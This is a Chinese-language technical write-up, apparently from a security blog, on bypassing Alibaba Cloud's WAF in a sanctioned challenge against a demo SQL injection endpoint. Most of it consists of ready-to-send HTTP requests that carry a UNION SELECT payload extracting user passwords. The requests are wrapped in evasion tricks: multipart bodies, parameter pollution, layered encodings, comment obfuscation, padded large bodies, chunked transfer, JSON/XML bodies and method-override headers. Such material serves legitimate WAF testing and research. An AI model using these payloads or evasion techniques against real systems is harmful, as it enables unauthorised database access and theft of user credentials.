WAF挑战赛-Post 大包绕过
字数 837 2025-08-29 08:31:47
WAF挑战赛-Post大包绕过技术分析
挑战概述
本次WAF挑战赛的目标是绕过阿里云WAF对Post注入点的防护,通过注入点读取用户密码。测试环境为fk.aliyundemo.com/sqli1/waf.php,奖励标准为每个不重复绕过方案奖励1000元。
关键背景信息
- 环境特点:Post注入点,使用阿里云WAF防护
- 挑战难点:需要绕过WAF规则检测
- 提示:尝试使用"非规则"绕过方案
可能的绕过技术分析
1. HTTP请求拆分技术
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: [长度]
------WebKitFormBoundary
Content-Disposition: form-data; name="param1"
1' UNION SELECT 1,2,password FROM users--
------WebKitFormBoundary--
原理:利用multipart/form-data格式,WAF可能无法正确解析请求体中的注入payload。
2. 参数污染技术
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]
id=1&id=1' UNION SELECT 1,2,password FROM users--
原理:WAF可能只检查第一个参数值,而应用程序使用最后一个参数值。
3. 编码混淆技术
URL编码
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]
id=1%27%20UNION%20SELECT%201%2C2%2Cpassword%20FROM%20users--
双重URL编码
id=1%2527%2520UNION%2520SELECT%25201%252C2%252Cpassword%2520FROM%2520users--
Unicode编码
id=1\u0027\u0020UNION\u0020SELECT\u00201,2,password\u0020FROM\u0020users--
4. 注释混淆技术
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]
id=1'/**/UNION/**/SELECT/**/1,2,password/**/FROM/**/users--
5. HTTP参数污染(HPP)
POST /sqli1/waf.php?user=1&id=1' UNION SELECT 1,2,password FROM users-- HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]
id=1
原理:GET和POST参数混合使用可能导致WAF解析不一致。
6. 大请求体绕过
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [非常大的长度]
id=1&[大量填充数据]...[实际payload在请求体很靠后的位置]...
原理:WAF可能对大请求体有处理限制,可能只检查前N字节。
7. 分块传输编码
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
2a
id=1' UNION SELECT 1,2,password FROM users--
0
原理:分块传输可能绕过某些WAF的请求体解析逻辑。
8. JSON格式绕过
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/json
Content-Length: [长度]
{"id":"1' UNION SELECT 1,2,password FROM users--"}
原理:WAF可能对JSON格式的SQL注入检测不完善。
9. XML格式绕过
POST /sqli1/waf.php HTTP/1.1
Host: fk.aliyundemo.com
Content-Type: application/xml
Content-Length: [长度]
<root><id>1' UNION SELECT 1,2,password FROM users--</id></root>
10. 非常规HTTP方法
GET /sqli1/waf.php?id=1' UNION SELECT 1,2,password FROM users-- HTTP/1.1
Host: fk.aliyundemo.com
X-HTTP-Method-Override: POST
原理:使用GET方法携带payload但通过header指定实际使用POST方法。
实际测试建议
- 顺序测试:从简单到复杂逐步尝试各种绕过技术
- 组合使用:将多种技术组合使用可能更有效
- 观察响应:注意WAF拦截与应用程序响应的差异
- 时间盲注:如果直接注入被拦截,可尝试时间盲注技术
注意事项
- 相同的绕过方案以最先提交者为准
- 避免重复已知方案,关注"非规则"绕过方法
- 实际测试时注意法律和道德边界,仅在授权环境下测试
通过系统性地尝试这些技术组合,有很大概率能够找到有效的绕过方案。关键在于理解WAF的工作原理和检测盲点,然后针对性地设计绕过策略。